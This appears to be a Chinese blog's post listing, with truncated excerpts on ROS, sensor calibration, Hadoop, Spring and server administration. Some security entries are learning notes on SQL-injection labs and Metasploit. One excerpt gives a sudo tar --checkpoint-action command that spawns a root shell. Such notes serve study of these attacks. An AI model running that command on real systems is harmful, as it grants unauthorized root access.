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RSS订阅原创 ROS修改rosbag中话题的frame_id，以及发布坐标在Rviz中与点云融合显示
【代码】ROS修改rosbag中话题的frame_id，以及发布坐标在Rviz中与点云融合显示。
2023-02-23 21:35:49
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原创 关于相机与激光雷达数据采集与标定
而使用ROS包则可以直接给出投影矩阵，缺点就是需要棋盘格在图片上的x、y、skew（旋转）、size（大小）的变化需要满足他的要求才可以进行标定，所以最好直接连着相机进行标定，录rosbag可能会不满足他的条件。总结：在标定外参时，可以直接先估计一个旋转向量和平移向量，例如上面激光雷达到相机的旋转大概是沿x轴旋转90度，因此旋转向量大概是[1.57, 0, 0]，在转成旋转矩阵进行微调。最近在做一个关于车路协同的项目，需要做一个路侧系统，传感器有摄像头和激光雷达。相机和激光雷达联合标定费了老半天劲。
2022-09-04 19:32:29
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原创 Jetson Nano CSI相机标定
拍摄照片采用张正友标定法，首先，需要打印标定用的棋盘格。棋盘格下载地址接着，运行程序，调用相机拍摄照片。拍照的程序如下import cv2 def gstreamer_pipeline( capture_width=1280, capture_height=720, display_width=1280, display_height=720, framerate=60, flip_method=0,): return (
2020-12-25 13:34:27
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原创 使用tar --checkpoint提权操作 详解--checkpoint-action的参数及作用
如果管理员给予了某个普通用户tar命令的超级管理员操作：那么我们可以使用tar命令进行提权，命令如下sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec="/bin/bash"-c：创建新的档案文件，相当于打包（-x，相反的操作，拆包）-f：使用档名，f之后直接加档名，中间不能加其他参数--checkpoint=n：每写入n个记录之后设置一个检查点，在...
2020-12-12 20:21:52
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原创 IDEA SpringBoot工程，使用MyBatis的Mapper.xml，在Autowired时出现错误
1.在使用Mapper的xml文件时，报错org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com.wangbin.springboot_docker.dao.UserDAO.save解决：检查是否在resource下创建相应的mapper.xml，检查application.properties中的扫描路径是否写对。我的application.properties：spring.ap
2020-11-15 15:11:00
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原创 分布式协调框架——Zookeeper概述、安装、数据类型、Shell客户端操作与JavaAPI操作
Zookeeper1.Zookeeper概述Zookeeper是一个开源的分布式协调服务框架，主要用来解决分布式集群中应用系统的一致性问题和数据管理问题2.Zookeeper特点Zookeeper本质上是一个分布式文件系统，也可以理解为一个数据库Zookeeper中存储的其实是一个又一个Znode，Znode是Zookeeper中的节点Znode是有路径的，例如/data/host1，这个路径也可以理解为是Znode中的NameZnode也可以携带数据，例如某个Znode的路径是/da
2020-11-14 21:39:31
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原创 用三台虚拟机搭建Hadoop分布式集群——MapReduce编程规范、运行模式、分区、计数器
Hadoop-MapReduce1.MapReduce介绍MapReduce的思想核心是“分而治之”，适用于大量复杂的任务处理场景。map负责分，即把复杂的任务分解成若干个“简单的任务”进行处理。可以进行拆分的前提是这些小任务可以并行计算，彼此间几乎没有依赖关系Reduce负责合，对map阶段的结果进行全局汇总MapReduce运行在yarn集群ResourceManagerNodeManager一个完整的MapReduce程序在分布式运行时有三类实例进程MRAppMaster
2020-11-14 21:35:49
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原创 用三台虚拟机搭建Hadoop分布式集群——Hadoop介绍与安装
Hadoop1.Hadoop历史版本和发行版公司Hadoop历史版本1.x版本系列：Hadoop版本当中的第二代开源版本，主要修复0.x版本的一些Bug等2.x版本系列：架构发生重大变化，引入了yarn平台许多新特性3.x版本系列：加入许多namenode新特性Hadoop三大发行版公司免费开源版本apachehttp://hadoop.apache.org优点：拥有全世界的开源贡献者，代码更新迭代版本比较快缺点：版本的升级，版本的维护，版本的兼容性，版本的补丁都可能考虑的不
2020-11-14 21:31:16
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原创 用三台虚拟机搭建Hadoop分布式集群——准备工作
准备工作1. 虚拟机修改Mac和IP（CentOS7）1.1 集群规划IP主机名环境配置安装192.168.217.100node01关防火墙和seLinux，host映射，时钟同步JDK，NameNode，ResourceManager，Zookeeper192.168.217.110node02关防火墙和seLinux，host映射，时钟同步JDK，DataNode，NodeManager，Zookeeper192.168.217.120node0
2020-11-14 21:27:58
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原创 Spring MVC学习笔记
Spring MVCSpring MVC是目前主流的实现MVC模式的企业级开发框架，Spring框架的一个子模块，无需整合，开发起来更加便捷。什么是MVC设计模式将应用程序分为Controller、Model、View三层，Controller接收客户端请求，调用Model生成业务数据，传递给View。Spring MVC就是对这套流程的封装，屏蔽很多底层代码，开放出接口，让开发者更加轻松、便捷的完成基于MVC模式的Web开发。Spring MVC 的核心组件DispatcherServlet
2020-11-14 21:18:48
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原创 古月居 ROS入门21讲 第十九讲 launch启动文件的使用方法
古月居 ROS入门21讲 第十九讲 launch启动文件的使用方法Launch文件：通过配置XML文件实现多节点的配置与启动（可自动启动Master）创建功能包cd ~/catkin_ws/srccatkin_create_pkg learning_launchcd learn_launchmkdir launch创建launch文件cd launchvim simple.launch输入以下内容<launch> <node pkg="learning_t
2020-11-08 17:30:59
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原创 古月居 ROS入门21讲 第十八讲 TF坐标系广播与监听的编程实现
古月居 ROS入门21讲 第十七讲 TF坐标系广播与监听的编程实现创建功能包cd ~/catkin_ws/srccatkin_create_pkg learning_tf roscpp rospy tf turtlesim创建TF广播器代码C++turtle_tf_broadcaster.cpp#include<ros/ros.h>#include<tf/transform_broadcaster.h>#include<turtlesim/Pose.h&
2020-11-08 15:21:05
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原创 ROS melodic版本安装及问题总结
ROS melodic版本安装及问题总结安装步骤添加ROS软件源sh -c 'echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main"> /etc/apt/sources.list.d/ros-latest.list'添加密钥apt-key adv --keyserver 'hkp://keyserver.ubuntu.com:80' --recv-key C1CF6E31E6BADE8868B172
2020-11-07 22:39:25
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原创 古月居 ROS入门21讲 第十七讲 ROS中的坐标系管理系统
古月居 ROS入门21讲 第十七讲 ROS中的坐标系管理系统安装TF坐标管理系统并启动demoapt install ros-melodic-turtle-tfroslaunch turtle_tf turtle_tf_demo.launch效果如图在命令窗口下可以按上下左右键控制turtle1的移动，turtle2跟随着运动，但只是坐标的跟随，角度不跟随。使用如下命令在当前目录下生成TF树（pdf文件）rosrun tf view_framestf_echorosrun
2020-11-07 21:59:30
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原创 古月居 ROS入门21讲 第十六讲 参数的使用与编程方法
古月居 ROS入门21讲 第十六讲 参数的使用与编程方法C++parameter_config.cpp#include<ros/ros.h>#include<std_srvs/Empty.h>int main(int argc,char**argv){ int red,blue,green; ros::init(argc,argv,"parameter_config"); ros::NodeHandle node; ros::par
2020-11-07 21:32:35
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原创 古月居 ROS入门21讲 第十五讲 服务数据的定义与使用
古月居 ROS入门21讲 第十五讲 服务数据的定义与使用Person.srvstring nameuint8 ageuint8 sexuint8 male=1uint8 female=2---string resultC++person_server.cpp#include<ros/ros.h>#include "learning_service/Person.h"bool personCallback(learning_service::Person::Re
2020-11-07 21:28:04
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原创 古月居 ROS入门21讲 第十四讲 服务器Server的编程实现
古月居 ROS入门21讲 第十四讲 服务器Server的编程实现C++turtle_command_server.cpp#include<ros/ros.h>#include<geometry_msgs/Twist.h>#include<std_srvs/Trigger.h>ros::Publisher turtle_vel_pub;bool pubCommand=false;bool commandCallback(std_srvs::Trigg
2020-11-07 21:14:50
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原创 古月居 ROS入门21讲 第十三讲 客户端Client的编程实现
古月居 ROS入门21讲 第十三讲 客户端Client的编程实现C++turtle_spawn.cpp#include<ros/ros.h>#include<turtlesim/Spawn.h>int main(int argc,char**argv){ ros::init(argc,argv,"turtle_spawn"); ros::NodeHandle node; ros::service::waitForService("/spawn"
2020-11-07 21:11:23
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原创 古月居 ROS入门21讲 第十二讲 话题消息的定义与使用
古月居 ROS入门21讲 第十二讲 话题消息的定义与使用Person.msgstring nameuint8 sexuint8 ageuint8 unknown=0uint8 male=1uint8 female=2c++person_publisher.cpp#include <ros/ros.h>#include "learning_topic/Person.h"int main(int argc,char**argv){ ros::init(
2020-11-07 21:07:43
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原创 古月居 ROS入门21讲 第十一讲 订阅者Subscriber的编程实现
古月居 ROS入门21讲 第十一讲 订阅者Subscriber的编程实现C++pose_subscriber.cpp#include<ros/ros.h>#include "turtlesim/Pose.h"void poseCallback(const turtlesim::Pose::ConstPtr& msg){ ROS_INFO("Turtle pose: x:%0.6f,y:%0.6f",msg->x,msg->y);}int main(
2020-11-07 20:58:53
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原创 古月居 ROS入门21讲 第十讲 发布者Publisher的编程实现
古月居 ROS入门21讲 第十一讲发布者Publisher的编程实现C++velocity_publisher.cpp#include<ros/ros.h>#include<geometry_msgs/Twist.h>int main(int argc,char**argv){ ros::init(argc,argv,"velocity_publisher"); ros::NodeHandle n; ros::Publisher turtle
2020-11-07 20:52:41
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原创 使用自动化运维工具Ansible集中管理服务器
1 安装MySQL数据库并去除安全隐患1.1 安装完mariadb-server后，运行mysql_secure_installation去除安全隐患mysql_secure_installation会执行几个设置：(1)为root用户设置密码(2)删除匿名账号(3)取消root用户远程登录(4)删除test库和对test库的访问权限(5)刷新授权表使修改生效进入安全设置向导：[...
2020-02-29 19:40:32
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原创 SQLI-LABS环境搭建及并进行拖库教程——解决MySQL注释问题--+
1 SQLI-LABS专有靶场搭建1.1 SQLI-LABS下载SQLI-LABS 是一个学习 SQL 注入的实验平台下载地址：https://github.com/Audi-1/sqli-labs1.2 Lamp环境搭建在centos上搭建LAMP环境，并关闭防火墙和selinux。安装完成之后开启Apache和mysql。环境搭建比较简单，这里不再赘述。1.3 安装SQLI-L...
2020-02-29 18:30:53
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原创 No active DB -- Credential data will not be saved! MSF连接postgresql数据库，设置密码并使其自动连接
在使用metasploit扫描数据数据库登陆服务时，发现提示信息：即无活动数据库，凭证将不会被保存。查看主机信息和凭证信息，发现原因是数据库未连接！下面将介绍在kali中如何连接postgresql数据库并设置密码。正文启动postgresql并设置开机自启动：root@kali:~# systemctl start postgresqlroot@kali:~# systemctl...
2020-02-20 15:28:58
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